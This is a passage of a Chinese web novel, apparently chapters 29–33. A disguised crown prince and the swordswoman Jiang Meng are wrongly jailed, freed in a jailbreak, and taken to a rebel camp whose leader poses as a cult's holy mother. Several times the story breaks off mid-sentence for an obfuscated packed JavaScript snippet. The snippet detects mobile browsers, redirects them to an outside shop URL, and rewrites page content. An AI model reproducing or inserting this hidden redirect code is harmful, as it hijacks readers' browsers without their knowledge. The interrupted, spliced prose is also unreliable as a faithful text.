他把个签子“啪”的扔到地上,然后在“威——武——”声中款步走出公案。 裴预大为震撼。 他方才分明已从动机、时间、地点、手法这么多方面论证了凶手不可能是他们俩,而这个庸官放着一看就有鬼的广明、赵小姐不问,却将他们定罪。 昏庸至此,果然是江蒙口中的“饭袋子”。 江蒙瞪着他,目眦欲裂,还不说?!她用口型道,你可是太子啊!天下的二把手,皇帝老儿的亲儿子,也可以进大牢么?! 裴预也瞪着她,猛猛摇头,生怕她为免牢狱之灾,口出什么狂言。 坐牢事小,九族为大啊! 杀威棒在地面上捣动,两人膝盖下都感觉到了这种震颤,江蒙目送着那县太爷哼着小曲儿走出公堂,绝望地意识到尽管太子在公堂上头头是道、滔滔不绝、把县太爷问的哑口无言,但他们被送进大牢已是板上钉钉。 相信我!裴预用口型道。 最终江蒙真的什么也没说。 这完全是出于对他的信赖,裴预松了一口气的同时,也对她心生几分歉意。 衙役们冲上来给他们套上囚衣,灰色粗麻布的背心前后是个黑色的“囚”字,散发一股油腻的臭味儿。双手双脚都上了铁枷,走路时脚闭不紧也迈不开,只能叉着腿走,一身叮咣乱响。 监狱就在衙门后头,一座老旧高大的石头牌坊上写着“狱房”俩字儿,中间雕着一个獠牙狗头。江蒙经过它时,觉得那两只石头眼睛在冰冷俯视她,于是也瞪回去。 “看什么呢!”牢头喝道,“还不快进去!” 他们的罪名是杀人,因此不能去普通牢狱,而是要被关在重刑犯所在的地牢。 穿过一道破旧掉漆的黑色木门,一股凉意扑面而来,里头是一条堪堪能通过一人的狭窄地道,通往地下。只有拐弯处的墙上有盏小油灯,借着昏黄的光,江蒙勉强能看见台阶。 “快点!”牢头骂道。 每下一级,双脚间的铁枷碰撞台阶一下,牵动脚踝上的铁圈摩擦踝骨。 到了地下,没有阳光,空气凝滞了一般,闷得人几乎喘不过气。地牢不大,中间一条过道,两边各有六七间牢房,里头关满了人,每一间都有四五个壮年大汉,一见来了新人,纷纷探出头观望。 每个人都又脏又臭,满面油光,眼神透着凶意。 “牢头!”有人喊道,“这又是造反进来的?” “怎么还有个小娘子?”有人不怀好意,“长得真俊。” 江蒙不以为意:“我是你妈!” 那帮男人哄笑起来,牢头拿棍子使劲儿敲木栅栏,才让他们安静。他走到一间稍空点儿的牢房,把里头俩人赶到另一间,让江蒙她们进去。 “喂!凭啥他俩单独关哪?” 对面那间本来就有四个人,现在又进来俩,更挤了,于是不服气地问道。 “少废话!”牢头吼回去,“你们是造反,明儿就杀头,人家是杀了人,秋后问斩,能一样么?!” 牢房低矮,江蒙还可以,裴预就得低头进去了。不仅低矮,也十分狭小,从门走到底也只有三步远。里头除了一只粪桶以外空无一物,地上铺着些陈年稻草,又潮又烂,散着一股霉味儿。 连江蒙都有点受不了这儿,她烦躁地转了一圈,狠狠踢了一脚牢门。 和她的紧张焦虑相反,裴预却显得淡定自若,挑了个稍微干净的地方坐下,闭目养神。江蒙觉得稀奇,一问,得知了个让她惊掉下巴的回答。 “你坐过牢?!” 裴预怡然自得:“是啊。” 为官者没被政敌送进过牢狱,他的仕途注定是不完整的,是有缺憾的。为臣者没有被皇上一怒之下扔进大牢,在阴暗潮湿的狱中含冤受辱、咬牙悲愤却忠心不改,最后让君主幡然醒悟,重新接回重用,就好比范蠡没献出西施、李太白没到过长安…… 江蒙:?听不懂。 “吃饺子没蘸过醋。” 江蒙恍然大悟。 “可是,臣……?”她费解,“你不是太子吗?” “儿臣。”裴预面不改色,“也是臣。” 江蒙恍然大悟。 原来太子也是要坐牢的。她可算是长见识了。 折腾一天,两人都有些疲惫,分坐在牢房两端,靠着墙休息。地牢里安静下来,只有昏黄的油灯光,和来回走动的衙役的影子在晃动。愈发显得死气沉沉。 裴预转向江蒙。 他看出她的紧绷。 江蒙平日里的情绪总是轻快的、简单的,裴预觉得是因为她不想事,所以不会忧心或难过。像个永远快快乐乐的小傻子。尽管她其实很聪明。 所以当她不快乐的时候,就格外明显。 而且这人一点儿不藏事,完全体现在脸上,面皮绷的紧紧的,嘴角抿起一个锋利的弧度,眼神紧张地四下观望。裴预毫不怀疑,现在即便是一根头发丝落到她肩上,她也会立马跳起来。 “江蒙,”他叫她,“看我。” 江蒙扭头。 裴预做了个鬼脸。 有辱斯文,真是有辱斯文,他放下手以后脸烧的厉害。裴大人虽不是那古板端方的人,但到底家教甚严,拿手指顶住鼻尖,作出个“猪鼻子”的这种大为失仪的动作,真是从小到大没做过。 甚至没人敢向他做这个动作。还是有一次在京中看街边小儿这般玩耍,当时觉得孩子滑稽有趣,无意间便记住了。 万万没想到有朝一日他自己会这样。 江蒙“噗”地笑出声。 她指着裴预,前仰后合,笑的太狠,捂着肚子倒到一边。裴预原本尴尬欲死,现在看着她倒下去,自己也忍不住一下子笑出声。 “有这么好笑吗?”他问。 “不是……”江蒙上气不接下气,“不是好笑……是太不好笑了……我从来没见过有人做猪鼻子这么不好笑……” 裴预:啊? “你看我的。”江蒙笑够了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“咦,”她疑惑道,“你不是……你……” 江蒙:? 那小姑娘突然凑近,把江蒙吓了一跳,只见她两眼闪闪发光,盯着她道:“您不是江大侠么!” 裴预闻声也走了过来,正好听见这一句,顿时惊诧地望向江蒙。江蒙回望过去,脸上写满疑惑,我没见过她呀,她用眼神表达这个意思。 她仔细端详那姑娘的脸,挺面善的,但她确实不记得自己认识她。 那对方又是怎么知道她的呢?还叫她大侠? “您忘啦?”见她迟迟想不起来,小姑娘忙道,“在无极教,您救过我的命呀。” 江蒙“哦……”的一声陷入回忆,片刻后老老实实摇头道:“没想起来。” 那时候里三圈外三圈那么多人,她哪儿能都记得。 小姑娘急的跺脚,凑近了,对着江蒙耳朵压低声音道: “我娘是赵燕红呀。” 30. 第30劫 越狱 江蒙也没想到,还能在这儿碰到赵大姐的闺女。 人虽然是她救的,但她其实连人家姓甚名谁都没问,更别说家住何方、以后去哪儿这种事,那天情形紧张,她也没顾得上看小姑娘长啥样。 所以再次遇见,她一点儿印象也没有。 赵小鹅却对她印象颇深,那天江蒙从炉子里蹦出来,暴揍张午清的时候,她就牢牢记住这张面孔了。当时想的是,这个人怎能如此可恨,对大帝不敬,还耽误她大成仪式,真恨不得咬死她。 当然这都是以前的昏念头了,赵小鹅暗自红了红脸。她现在已经迷途知返、改邪归正,再回头看时只恨不得咬死自己。 当即从篮子里掏出最后几个饼子,递给江蒙。 “你能明白过来最好了。”江蒙高兴地接过,递了一块给裴预后,自己低下头迫不及待地咬了一口。如今各地都在闹饥荒,赵小鹅带来的却竟然是白面饼子。刚出锅不久,又白又软,根本不需要就着什么菜吃,在嘴里嚼嚼就是又香又甜。 她腮帮子一鼓一鼓,疑惑抬头:“不过你来这儿干莫子呢?” 这里关的都是造反的刁民,明日就要杀头了,今晚赵小鹅却来给他们挨个送饭…… 江蒙腮帮子停住。 “你们一个村的啊?”来送断头饭? 一旁裴预欲言又止地看了她一眼。 赵小鹅甜甜的笑了笑,却没说什么,牢头又扯着嗓子叫起来,说时间到了赶紧出去。赵小鹅只好收拾起篮子,临走时,她突然紧紧抓住江蒙的手。 江蒙被她拉的一下子贴到木栅栏上。 赵小鹅比她矮,她低着头看她,就见小姑娘还有些稚嫩的脸上,浮现一种远超年龄的成熟和严肃。她视线投向正走过来的牢头,嘴唇微动:“今晚别睡着。” 声音极轻极低。 说完松开江蒙走了。 江蒙不明所以地望着她背影,挠挠头,一回头,发现对面房里那几个大兄弟正瞪着她。刚才赵小鹅光顾着跟她说话,还把所有的饼子都给了她,就把他们给忘了。 饼已经被她吃光了,江蒙思考一番,把没吃的那俩馊窝头递出去。 “要不……” “滚!” 晚上江蒙靠在墙上,强撑着瞪大眼睛。赵小鹅让她晚上别睡着,她也不知道为什么,问裴预,后者指了指狱卒,那意思是指说话不方便,也没跟她解释,只让她照做就是。 但江蒙太困了。 她素来睡眠极佳,露天席地都能呼呼大睡,区区牢狱又算什么,照样到点就困。裴预见她干瞪着俩大眼珠子,建议她学他闭目养神,被她苦涩地拒绝。 她眼睛一闭就能直接睡到天亮。 她那强撑的样子落在裴预眼里,让他都有些于心不忍,于是揉了揉眉心:“咱们说说话,就不困了。” 江蒙提着眼皮:“没事。不用管我。” “别揪了,”裴预无奈地拿开她手,拇指轻轻抚过薄薄的眼皮,“都红了。” 他指腹干燥柔软,隔着眼皮碰到眼球,有点痒,江蒙往后避开。 “你有个大问题。”裴预端坐在她对面,正色道,“那就是不会说谎。” 江蒙的真诚和诚实是优点,他也十分欣赏她这一点,但不得不说在面对外人时,这宝贵的品质就显得十分恐怖了。他甚至有次做梦都梦到别人问他是谁,他还没来得及说话,江蒙就在一旁大大咧咧道:太子啊! 那种恐惧在梦里都十分鲜明,裴预在被行刑前终于挣扎着醒来,摸了摸脖子确认脑袋还在上头,才惊魂稍定。 为了他自己的生命安全,他一定要教会江蒙说谎。 江蒙本人却不乐意,讲真话怎么就成她的问题了?她就是不愿意骗人。裴预就解释,说谎不一定是为了骗人,有可能是不得已而为之,也有可能是为了保护别人,所谓善意的谎言。 江蒙嗤之以鼻。但架不住裴预软磨硬泡,加上她确实需要转移注意力,不然就要一头睡倒,于是最终答应了。 “我是谁?”裴预问道,紧接着竖起一根手指警告她,“不许说那两个字。” 江蒙:“……” 她哑了火,张着嘴巴,面部扭曲,她记得他说过是什么江南布商,还有个假名字,她记得清清楚楚,那几个字儿就在她脑袋里转,可就是说不出口…… 咦,她忽然想到,她知道他的假名字,那他的真名字是什么? 好像一直都叫的太子,或者不叫,所以她从来也没问过,他也从来没说过。 “你叫什么名字?”她问,两只眼睛直白地看着他,“我还不知道你的名字。” 这下轮到裴预愣住。 他张了张口。瞬间想到一百零一个回答,其中一百个是假名字,赵钱孙李周吴郑王……信手拈来。还有一个是高高在上冠冕堂皇的理由:太子名讳,尔等岂可直呼? 如今他自然对江蒙说不出这句话,那么他就该神色如常、自然而笃定地告诉她一个假名。反正他的身份都是假的,名字,不过是另一个无伤大雅的谎言。 裴预张口。然后鬼使神差的,说出了那一百零一个以外的,第一百零二个回答。 “元度。”他说。 “元度。”他听见江蒙念他的字,她笑了,“好名字啊。” “所以你全名叫杨元度。”江蒙道。因为皇上姓杨嘛。 裴预:“……” 裴预的谎话训练并没有取得什么进展,江蒙是个神人他知道,但没想到这么神奇。他决定循序渐进,让她从重复他的话开始,一开始只说真话,继而在真话里掺一句假话,试图让她顺口说出来。但这招一点没用,江蒙一到假话就戛然而止,面目扭曲说不出半个字。 甚至她越说越困。 夜已经太深了,江蒙的困意达到了顶峰,她撑着眼皮跟着裴预说话,但口齿愈发含糊不清,像牙牙学语的小孩。裴预扶着她肩膀才勉强让她不倒下,他手忙脚乱地扶正她脑袋,看见她勉强睁开的眼睛里全是眼白。 怪吓人的。 “江蒙。”他晃她,“醒醒,别睡。” “江门洗洗唔对额饭额……包子额额额……”江蒙开始胡言乱语,裴预觉得她可能甚至都意识不到自己在说话,那两片嘴唇只是在机械地开合而已。她的声音越来越含混,越来越低,越来越轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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县衙已是一片废墟,大门散落,满地狼藉,路边还躺着几具衙役的尸体。 至于牢狱里,自然已是空空如也。 柳烟环顾四周,只觉一阵头疼。好容易找到了太平寺,却得知人被衙门抓走了,连忙赶来衙门救人,却看见牢门大开,人又不知哪里去了。 真不知道是她那公子多灾多难,还是她柳烟命苦,努力努力白努力。 “给我搜!”她回身下令,得看看还有没有活口,能套出点儿什么线索。 黑衣人顿时四散开来。 还有一个站在原地,似乎是呆住了,柳烟走过去,就见那少年漂亮的脸蛋上神情扭曲,似是愤怒,又似是不甘,还有点儿“呵不愧是我”的自暴自弃。 “新来的,”她出声提醒,“在这儿发什么呆呢?” 那少年猛地回过神来,低下头,匆匆离开。柳烟望着他背影,皱起眉头,若有所思。 命令响应的这么慢,她想,看来新人培训还是得狠抓啊。 31. 第31劫 造反 江蒙在一阵颠簸中醒来。 她的记忆还停留在昏暗大牢里,如今眼一睁,却看见广阔的原野。她愣住,使劲儿眨了眨眼睛,才意识到自己竟是在野外。 然后她后知后觉地感觉到,脑袋下面是软的。她迷茫地一转头,就见上方竟是一张如玉的面容。 这张脸确实是江蒙见过最俊美的,距离又如此之近,一时间冲击力极强,她呼吸都顿了一下。他正撑着脑袋睡觉,双目闭合的线条如工笔画般流畅优美,即便闭着眼睛,也有种令人移不开视线的恬淡的美丽。 江蒙躺在他腿上,愣愣的看着他眉眼。 “恩人。”这时有人叫她,“您醒啦?” 是赵小鹅。江蒙连忙起身,四下张望,才发觉她在一辆由两匹马拉着的板车上,正在清晨的原野上疾驰。太阳还未完全升起,远处地平线上散出红彤彤的晨光,照在广阔的草地上,绒绒的芳草、远处的树木,一切朦胧而清新。湿润微凉的劲风拂面而过,将她一头乱发吹得尽数向后,连夜里的困意、疲倦一并吹走。 江蒙站起身,迎着风将身上囚衣一把脱掉,丢到空中。风瞬间将那灰扑扑的粗布卷走,极速抛在脑后。 她高高兴兴地坐下来,感到头脑完全清醒,浑身又有了使不完的力气。对面赵小鹅在冲她微笑,她也冲赵小鹅露出两排牙,一面笑,一面想她为什么在这儿? 我为什么在这儿? 脑筋转动一会儿,江蒙脸上笑容逐渐凝固。 “你劫狱啊?!”她瞪大眼睛。 这也是他俩运气好,正好碰上了赵小鹅他们劫狱,又正好碰到了赵小鹅,才能如此顺利地出来。 不过,赵小鹅又冷笑,说其实也不用他们劫狱,过不了几日,那狗县令自己就会放他们出来。 江蒙不解:这话怎么说? 赵小鹅便解释,原来这定城县令是出了名的贪官,最会盘剥,惯用的一招是胡乱判案,把无罪的人也定成有罪,关进大牢,让人在里头熬两日吃尽苦头,他再派个人去讨要银钱。这时人都只盼着早些出去,哪怕他要的价再高,也没有不点头答应的。就这样,全部身家就都让他赚了去。 这次这狗官怕是看裴预衣着不凡,觉得他们有钱,就故技重施。恐怕过几日,他就该派人来问江蒙要银子了。 江蒙听得咬牙切齿,下意识把手伸进怀里,再晚几日,她这几张银票还真保不住。 “可恨我放了这厮!”她怒道。 赵小鹅却宽慰她,说恩人放心,昨日他们烧了县衙之后,顺手就把这帮狗官拎出来杀了。 至于他们为什么会劫狱,这来龙去脉,得从半个月前说起。 “恩人可知上月豫州刘凤举事?” 江蒙摇了摇头。她这一个月先是赶路,继而就进了无极教,后来也都是在医馆躺着,对这周边大事并不清楚。听赵小鹅这一说,才知道一个月前,豫州有个叫刘凤的造反了。 很快聚集了两三千人,毁官府、杀官吏、开仓放粮,周济穷人。这之后各地纷纷响应,包括他们白河乡,也在半个月前揭竿而起。可惜后来被官府发现,抓了好些人。 直到昨日他们攻打定城,才将这些兄弟放了出来,现在定城已被他们拿下,一些兄弟守在定城,她则带江蒙她们回起义军的大本营。 “朝廷已派豫州指挥使前去剿匪,刘凤事败已在旦夕。”这时背后传来裴预的声音,“你们现在最好的选择是解散潜逃,不要再执迷不悟,否则等官军来剿灭,就是死路一条。” 江蒙从他腿上起身时他便醒了,只是一直没说话。一夜未睡,后半夜更是背着江蒙跑来跑去,直到天快亮才小憩了一会儿,此时很是疲惫。 江蒙一扭头,就见他面无表情,脸色看起来很差。 赵小鹅当即掉下脸来,指着他道:“你说什么呢。”江蒙连忙拦住她,她也能理解,毕竟人家是太子,在他面前公然说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她说完,见赵小鹅愣了愣,以为这孩子是听进去了。却不想对方忽然“噗嗤”一声笑了出来。 “您说什么呢!”赵小鹅笑起来,“我娘她可是义军的头儿啊!” 32. 第32劫 首领 板车驶进山里时,江蒙还在震惊中没缓过神。赵小鹅那句话一说出来,她和裴预面面相觑,都在对方脸上看到了不可思议,但裴预收敛的极快,只是一瞬间,那张脸上又恢复了波澜不惊。 他垂下眼睛,看上去若有所思。 和他相比,江蒙震惊之余更显得兴奋:赵大姐居然是起义军的首领、率领千军万马的英雄,这是何等风采! 她已经迫不及待要见到她了。 瓦石山大约三百丈高,江蒙仰头,悬崖峭壁,几乎直上直下,很难上去。山下扎着一个寨子,四周安放鹿角、蒺藜、铃索等,赵小鹅停下车,大声报出口令,两个褐色短打的义兵提着杆枪过来,帮他们移开鹿角,放车进去。 后头是围绕营地一圈的壕沟,宽约一张五、深约一丈,板车“嘎吱嘎吱”的从上头一块大木板上过去。经过壕沟之后,一群义兵正加紧修建木栅,见到赵小鹅,手里的活儿停了一下,向她问好。 穿过营寨时,江蒙不住地四处打量,只见数百顶营帐整齐,民兵正在操练,千人一齐舞枪前刺,喊声震天。她不住发出惊叹,两眼直放光。 和她的兴奋相反,裴预则显得心事重重。 赵燕红的寨子在地势最高的南边山上,居高临下,统观全局。赵小鹅三人弃车上山,一路上树木丰茂,空气怡人,到了山顶,有处清理出来的空地,那便是赵燕红的营寨。红色旗帜在风中猎猎作响。 三人进了辕门,直奔大帐而去,到了账门前,一个义兵横枪挡在她们面前。 “速去通报圣母。”赵小鹅严肃道。 圣母?江蒙猛地扭头望她。 “是,圣女大人!”义兵宏声应道。 圣女?!江蒙张大嘴巴。 “咱们这儿军纪严明,首领大帐,就算是我,也不能随意进出。”赵小鹅骄傲道。 “首领?你刚刚可不是这么说的,”江蒙悚然,“你刚刚说,圣母?” 义兵通报出来,让他们进去,到了大帐,只见入门就是一张案台,旁边一副巨大的地形图前,一个高大的身影背对着他们。东面供奉着一副画像,江蒙眼尖,一眼看出上头是个僧不僧道不道的山羊胡子老头,底下赫然写着: 无极紫薇宫无上至尊自然妙法玄天大帝。 江蒙惊得差点跳起来:老乌鸡!怎么这里会供奉那邪.教头子?!下意识就去身后拔刀,摸了空——进大牢时早被收走了,正在惊惶愤怒之际,地图前那个高大的身影转过来,对江蒙道:“你来了。” “娘!”赵小鹅高兴地叫了一声。 在江蒙震惊的视线中,那张脸清清楚楚,虽然更黑了侧脸还添了道伤疤,但那确实是赵燕红无疑。 确实是和无极教不共戴天的赵燕红。 可她的大帐中,却供奉着老乌鸡的画像……这究竟是怎么一回事?江蒙甚至想到了她被夺舍了,被下蛊了。 太过于疑惑,江蒙张着嘴不知道该怎么问,赵燕红却像是一眼就看穿了她心中想法,冲她摆摆手,望向那副画像、 “他是坏。”赵燕红道,“但有用。” 无极教在这几个州郡流传甚广、影响极大,信徒无数。尽管张午清那日被江蒙杀了,在场的信徒也都被官府抓住,但在涿郡以外的地方,百姓不明实情,仍然坚定地相信无极大帝是真神仙,无极教是真的能救世人。 甚至民间流传甚广的说法是,无极大帝拯救世人,受万民爱戴,招致官府不满,污蔑他为“妖人”,派出十万人马前去剿灭。十万官军咬牙切齿、青面獠牙,将个无极教围的水泄不通。无极大帝却丝毫不慌,微微一笑,当场坐化飞升。 十万官军只能眼睁睁看着他一跃腾空,驾云而去。 江蒙听得惊呆,这说法和事实不能说非常还原,只能说完全相反!什么万箭齐发,被无极大帝张开阵法统统挡回去,反而飞回到官军那里,把他们扎的屁滚尿流。还说什么无极大帝飞升时五彩光华大盛,将为首的将军照的睁不开眼,当场大叫一声坠下马来,从此成了个瞎子。这便是对大帝不敬的惩罚。 种种细节说的活灵活现,要不是江蒙就在现场,她都要以为这才是真的了! 起义初期不过两三百号人,这一点人,县里要想镇压易如反掌,所以赵燕红首要考虑的就是壮大声势。 所以她自称无极教圣母,大帝飞升前,特意将神力通通传与她,嘱咐她举兵拯救世人。 她本身就曾经是无极教中人,更是张午清的近身侍卫,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986020|135820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张午清的模样、细节一清二楚,因此格外可信。有了无极教这幅大旗,信徒们纷纷前来投靠,义军规模迅速壮大。 短短时间,聚集了四五千人。 在赵燕红的领导下,无极教修改教义,那些献祭之类的仪式统统停止,无极教众不再“修炼”,而是入军,攻打官府要地,开粮仓、搬库房,将粮食和金银珠宝分给穷人。 这时的无极教,已经和张午清的无极教完全是两个东西了。除了名字相同,教义、目的、活动完全是两模两样。 不过没人在乎。 大家一听是无极教,自然就知道是个有真神仙的大教,如今大帝已坐化飞升,那么自然要归化圣母。 江蒙晕头转向地转向另一边,老乌鸡对面的墙上,同样挂着一副画像。上面正是赵燕红,身穿铠甲,手拿法宝,脚踩莲台,周身金光普照。 她感到头好痛。 她最恨骗子。张午清是骗子,赵大姐……她分明应该是个英雄,可现在看来,她也是个骗子。圣母?神力?这不是胡说么! 她应该生气,应该怒斥赵燕红,装神弄鬼、招摇撞骗。 可是,可是…… 赵燕红还要商议军情,派人将他们送到大厅,下令摆酒招待他们。江蒙魂不守舍地坐在大椅上,闭口沉默。 这一路上一直寡言少语、若有所思的裴预,此时却注意到她心神不宁的样子,低声问她:“你不高兴?” 江蒙点点头,又摇摇头,脸上浮现出茫然和纠结。裴预见状,斟酌着开口:“赵燕红虽然打着无极教的旗号,其实……” “我知道。”江蒙艰涩地开口,“我知道她虽然是骗子,可没有坏心,她有她的道理。” 如果不是无极教,大家怎么会信服她?义军怎么能聚集起这么多人? 这儿整齐威风的营寨,也搭不起来了。 她想起那日杀掉张午清后大家的反应,又想起大牢里太子对她说的那些关于谎言的道理,觉得自己似乎有点懂了,可这一点也不让她高兴,反而有些难过。 好像她突然变成了笨蛋。 裴预看着她的表情,沉默一瞬,将手放她肩膀上,“不是你的问题。”他轻声道,“只是这世上事太复杂了。” 33. 第33劫 设宴 她可能确实把许多事情都想得太简单。 也许单纯的简单,真的解决不了许多问题。赵大姐是个了不起的人,是个了不起的好人,这一点毫无疑问。所以她不该纠结她骗不骗人的事儿。 江蒙想通这点,一下子摆脱郁闷,又高兴起来,撸起袖子等着开饭。赵大姐可是说要好好款待她们的,不知道待会儿席上会有什么好吃的? 要是有白面饼子就好了。 赵燕红没有让她失望,何止是饼,厨子甚至现杀了头猪,架在火堆上烤。寨里的义军们刚结束操练,这会儿一个个全身冒汗,一队一队围聚而坐。每队中间是一个大瓮和一个藤筐,盛着新鲜的猪血炖菜,和一筐热气腾腾的饼子。猪血又烫又嫩,不消嚼就滑进肚里,再配上一口饼子,过瘾得很。 猪肉被烤的外皮焦脆,拿刀割开,里头是冒着热气的嫩猪肉,撒上细盐、胡椒,一股混着香料的肉香扑面而来。每人都分到了猪肉,吃的满嘴冒油,喜上眉梢。 江蒙和裴预作为贵客,还一人分到了一只烤猪蹄。 另外两只则分给了义军两个将军,都是赵家村人,一个叫赵英,一个叫赵勇。他俩个弄了瓮高粱酒,也不用碗,拎起瓮就吃。一口肉一口酒,不亦乐乎。 江蒙抱着半张脸大的猪蹄,张嘴就啃。因着义军在官仓里抢了不少胡椒、花椒等香料,厨子下起来也不心疼,这猪蹄放了不少香料煮过,再烤,上头洒了辣椒粉,极有滋味。 一扭头,见裴预对着那猪蹄犹豫不决,就知道这人讲究病又犯了。当下要了一只碗一把刀,将猪蹄剁碎了,让他用筷子夹着吃。 “吃啊,”江蒙下半张脸都是油,红光满面地对他道,“可好吃啦!” 她不知道对于裴预他们这些贵族来说,猪肉低贱,不如牛羊洁净,因此裴预的餐桌上从未出现过猪肉,更别说猪的蹄子。但毕竟江蒙已经好心帮他处理过,裴预总不忍心辜负她的心意,踌躇片刻,还是夹起一块送入口中。 一入口,浓烈杂乱的香辛味炸满口腔,还有一丝腥臊气息,裴预当即眼前一黑。他克制住没有吐出来,草草嚼两下,咽下去,把剩下的全推给江蒙。 后者欣然接受。 席上少不了吃,也少不了说,江蒙和赵大姐等人聊的热火朝天,听她们说打官府、开仓放粮的那些事儿,高兴得直拍大腿。赵小鹅在一旁不住地给她递饼递水,殷勤地江蒙都有些不好意思,说妹坨不必这样。 赵小鹅就甜甜一笑,说恩人您太客气啦。 说到这里,那赵英赵勇一拍大腿,说俺们弟兄两也该敬一敬英雄,从官府手里救了咱们圣女。 从谁手里?江蒙“啊?”了一声,傻眼。 在这两兄弟眼中,她解救赵小鹅完全是另外一番场景:那日官府派兵围剿无极教,圣女危险,大帝则忙着救其他教众,危急关头是江蒙挺身而出,手中一把单刀击退无数官兵,救下了圣女。 江蒙呆住,实在不知道该说什么。赵英赵勇还想让她说说当时的场景有多危险,无极大帝究竟如何飞升的。周围的义军闻言,也都侧过身子朝向这边,满脸好奇又兴奋地望向她。 江蒙被这么多双眼睛望着,一时间不知所措,下意识看向太子,就见他也在看着她,皱着眉,神情有些担忧。 她知道自己一定不能把实情说出来,那就等同于戳穿赵大姐,好一点儿是义军觉得她胡说八道,更坏的情况是他们可能会怀疑赵大姐,最终人心散了。 所以现在,她也要骗人了。 江蒙深吸一口气,准备编瞎话唬人……可是她张了张口,面目又开始扭曲。 所有人都看着她,江蒙憋红了脸,可就是说不出话。 裴预咳了一声:“此事我倒听江大侠说过……” 他自然地将话接过去。 焦点转移到了他身上,望向自己的目光移走,江蒙顿觉轻松许多,松了口气。太子口才很好,说的天花乱坠,不需要她说一句话。 江蒙低着头默默喝茶。 这时肩上一沉,她偏头,是赵大姐的手。赵燕红拍了拍她肩膀:“多谢你。” 江蒙苦笑着摇摇头。 这一折终于过去,经过裴预的美化,大家看向江蒙的眼光都充满了敬畏。义军们纷纷过来拜见她,将她四周围的水泄不通,最后甚至合力把江蒙抬了起来。 江蒙:?? 她被举在半空中,视野骤然抬高,身体下是无数双手,稳稳地撑着她。江蒙一开始还有些慌乱,慢慢就觉得有趣,大笑起来。耳边义军们有节奏地欢呼,她被架着绕了火堆五六圈,才终于被放下。 酒足饭饱,义军们散去,赵燕红和其他将军则陪着江蒙二人,回到厅中叙话。 经过一顿饭,大家都熟了许多,说起话来也更加随意。他们从目前形势聊到刚起义时的场景,又聊到当今的世道,贪官,皇帝等等。说到这儿,一旁那赵英就冷笑,说皇帝老儿如此昏庸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13016539|135820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,早该死了。 江蒙赞成赞同甚至于恨不得拍手叫好,但余光一下子瞥到黑着脸的裴预,双手拐了个弯又放下了。 老秀才说过,对子骂父,下一句什么来着?总之不好。皇上对他们来说是个昏君,但对太子来说却是亲爹,如果有人在她面前这样骂她爹,她也会难过。江蒙到底不忍太子伤心,于是干咳一声:“其实皇上是好皇上……” 这半句话刚说出,就见厅里所有人齐刷刷转头怒视她,尤其赵英赵勇,看起来要不是赵燕红坐这儿,就得冲上来咬她了。江蒙头皮发麻,顶着压力道:“都是被奸臣给带坏了。” 说罢对着裴预一点头,一副“姐都懂”的表情,继续道:“这不都是那个大奸臣、死贪官、右丞相姓裴的撺掇着远征……” 大奸臣、死贪官、姓裴的在一旁发出一连串咳嗽。 赵英“呸”了一声,十分不屑,说一有坏事就是奸臣的错,一有好事就是皇上英明,凭什么?皇上就是昏,远征这事儿他就能摘不出去。他要是真那么听裴预的话,裴预吃屎,他也会跟着吃吗?! 江蒙扭头一看:那太子脸都绿了。忙道别吃屎别吃屎呀。 哪怕吃点儿别的呢。 赵英痛骂老皇帝,残暴、昏庸、没点能耐还想耍大棒、不是孙猴子偏上花果山。那花果山是他能上的吗?小心别摔死了。江蒙则一个劲儿把话往裴预身上引,又蠢又坏、就知道哄着皇上干坏事,拍拍脑袋就想到去高句丽,他自己吃香的喝辣的不掏钱,倒是来搜刮他们这些饿死的老百姓。 几人你一句我一句,江蒙就看见太子的脸一会儿红一会儿绿最后越来越灰,跟死了三天了似的。 江蒙:“哎呀你们要不别说了!” 裴预:“还是你别说了吧……” 他听得心都碎完了。 这地儿是一刻也呆不下去了,裴预撑着桌子站起,起身那一刻身形都晃了晃。他摆摆手拒绝了江蒙伸过来的手——他现在不敢碰她,连看都不大敢看,低头低声道:“咱们还是快赶路吧……别耽误,赵首领排兵布阵……” 江蒙点头答应,忽然想起什么,从怀里掏出那几张银票,交到赵燕红手里。 她自己要回村,出不了力气,只能把自己有的给他们。 